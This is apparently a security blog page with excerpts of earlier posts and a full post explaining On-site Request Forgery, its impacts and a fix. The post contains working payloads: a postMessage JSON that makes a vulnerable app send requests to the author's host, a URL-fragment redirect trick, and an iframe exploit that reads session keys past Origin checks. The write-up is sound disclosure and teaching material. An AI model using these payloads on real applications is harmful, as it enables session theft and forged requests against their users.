Exploiting POST-based XSSI

We know, more and more client-side attacks are dying. But sometimes, with introduction of new features, an unexploitable becomes exploitable. Yes, combined with the power of Service Worker, XSSI is no longer limited to GET requests. This essentially means we can also include resources with POST requests and CORS-safelisted headers. The idea is simple- intercept the request and modify to send no-cors POST request. For demonstration purpose, I’ve built a rough POC at https://cm2.

XSS with length restriction

There are situations where you can execute JavaScript but you’re limited to alert because it only allows limited number of characters. I recently saw a report on HackerOne with exact same situation- which is why I’m writing this post. The reporter managed to execute arbitrary JavaScript but made it somewhat complicated and required few user interactions. This drastically lessens the severity and no doubt, results in small reward. The more promising Proof of Concept in case of XSS, in my opinion, is to load external JavaScript from a domain under your control.

On-site Request Forgery

You might have heard of Server Side Request Forgery or SSRF, and probably already came across On-site request Forgery. Let’s call it OSRF for brevity and not to confuse with CSRF. This post aims to briefly explain what OSRF is and how it differs from SSRF, possible impacts and remedy. To begin with, SSRF is a type of vulnerability where an attacker is able to influence Servers to send crafted requests to their destined location.

Forging Content-Type Header With Flash

You might already know how you can forge HTTP request headers using flash. So, to keep it short, I’m talking about Content-Type only. Lately, I’ve been seeing tweets & reports about CSRF attack involving JSON data. In fact, I saw a tweet asking if it was safe to rely on Content-Type: application/json for CSRF protection. And, going through the replies, I found it was concluded safe- because browsers don’t yet support application/json in HTML form submission.

HackerOne XSSI – Stealing Multi Line Strings

I assume you already know what XSSI is. If not, here’s a brief introduction cited from Identifier based XSSI attacks Cross Site Script Inclusion (XSSI) is an attack technique (or a vulnerability) that enables attackers to steal data of certain types across origin boundaries, by including target data using SCRIPT tag in an attackerss Web page as below <!-- attacker's page loads external data with SCRIPT tag --> <SCRIPT src="http://target.

MS Edge – HTTP Access Control (CORS) Bypass

This is a short post about a vulnerability I had found in Microsoft Edge. TL;DR Edge failed to recognize HTTP Authentication information (i.e. Authorization Header) as credential information when sending fetch requests. So, if an application uses Basic or NTLM auth, Edge would send Authorization header in all fetch requests despite specifying not to include credentials. If you noticed, I explicitly specified not to include credentials. Yet, it was sent despite me specifying not to and you can see the response in console.
Referrer Policy

Referrer Policy

There are, atm, 5 different ways referrer policy can be delivered as defined by W3C. Setting referrer policy via meta is supported by all modern browsers (as shown above). The other ones, however, are new and aren’t widely supported or used. The HTML Standard defines the concept of referrerpolicy attributes which applies to several of its elements, for example: <a href="http://example.com" referrerpolicy="origin"> In general, the order in which these signals are processed are

Stealing CSVs Cross-domain

Back in 2008, Chris Evans found it was possible to steal data cross-domain in Firefox using script includes. We can still read his report at http://scary.beasts.org/security/CESA-2008-011.html In his own words: The modern web model permits remote domain <script> inclusion with no restrictions. If the remote data, which does not have to be script, has an effect on the evil domain doing the inclusion, you have a cross-domain data leak.

On-site Request Forgery

March 5, 2018

You might have heard of Server Side Request Forgery or SSRF, and probably already came across On-site request Forgery. Let’s call it OSRF for brevity and not to confuse with CSRF. This post aims to briefly explain what OSRF is and how it differs from SSRF, possible impacts and remedy.

To begin with,

SSRF is a type of vulnerability where an attacker is able to influence Servers to send crafted requests to their destined location.

While with OSRF, an attacker is able to influence Clients to send crafted requests to their destined location on behalf of vulnerable application. That is, it sends request to your chosen URL with Referer and/or Origin of it’s own.

This slightly differs from Cross-site request forgery (CSRF) where an attacker initiates requests from domain under their control to perform actions on behalf of victim. However, in OSRF, requests originate from vulnerable application itself and we control where our requests go.

For example, SharePoint allows users to insert image URL for their avatar, and what it does is- places an <img> tag in the DOM with given URL. This, in its simplest form, is an example of OSRF where we’re able to control URL where our browser sends requests to.

There’s already a post on PortSwigger on OSRF which goes to explain similar exploit scenarios in detail.

The following is a sample of vulnerable application taken from an application quite popular in the community OSRF.png

The parameter obj to function xhr is taken directly from postMessage received from the parent. To those not familiar with postMessage, it’s a cross-domain communication mechanism between Window objects (e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it).

The above snippet is a full-fledged method for sending HTTP requests (except it doesn’t include credentialed requests). All an attacker has to do is, open above page in an iframe or a child window, and send a postMessage like

{"action": "send", "url": "http://cm2.pw/?foo", "data": "foobar", "headers": [{"name": "Content-type", "value": "text/plain"}]}

This would send a POST request to http://cm2.pw/?foo on behalf of vulnerable application. This effectively includes Origin and Referrer header unless otherwise configured not to.


Another example is- when applications send AJAX requests to URLs constructed dynamically from URL parameters and/or fragments, a common practice in mobile applications and API endpoints. If, for example, https://example.com/#/v1/user/profile sends request to https://api.example.com/v1/user/profile in background, probably we can manipulate where it sends requests to, depending on how subsequent URLs are constructed. If used string concatenation, https://example.com/#.cm2.pw/?foo will send request to https://api.example.com.cm2.pw/?foo proving it vulnerable to OSRF.

A quick video demo OSRF.gif

So, what can an attacker do with OSRF?

Since requests are initiated from client, only few possibilities exist and they are;

1. Referrer Bypass

This can effectively bypass referrer validation as requests are originated from the domain itself. And, if the stars are aligned, can be used to craft CSRF request in turn.

SameSite cookies allow servers to mitigate the risk of CSRF and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated from the same registrable domain. As of today, only Firefox & Chrome support SameSite cookies.

3. Origin Bypass

Origin plays a vital role in case of cross-domain communications i.e. with CORS and Web Sockets. There are many ways a CORS policy can be misconfigured and a recommended fix is to white-list allowed domains. The same applies to Web Socket. Now with OSRF, even if a proper Origin check is in place, a crafted request succeeds because it comes from an allowed domain.

The example above allowed bypassing Origin check to read session keys which were used in subsequent requests as an authorization token. The exploit looked like

<!DOCTYPE html>
    <iframe src="https://example.com/chat/?version=1.0"></iframe>
    <div id="msg"></div>
    const frame = document.querySelector('frame');
    const win = frame.contentWindow;
    frame.onload = function() {
      win.postMessage('{"action": "send", "url": "https://example.com/chat/?SessionId", "method": "GET", "headers": [{"name": "X-API-VERSION", "value": "1.0"}]}', '*');
    window.onmessage = e => {
      document.querySelector('div#msg').innerText += e.data + '\n\n';

** Parts of above snippet are changed to obscure client’s identity.

4. HTTP requests with custom headers and/or method

The above example demonstrates a perfect example of OSRF where one can also control request method as well as headers. Normally, cross-domain requests with custom HTTP headers like X-Requested-With or dangerous HTTP methods like DELETE, PUT, etc. are pre-flighted, and if not permitted, are dropped altogether. Thus, OSRF, sometimes may also allow sending such requests which in turn may enable CSRF.

So, what’s the fix?

The actual fix depends on the applications’ requirements. The best is to ensure- data comes from expected sender, in expected format and only expected values are allowed.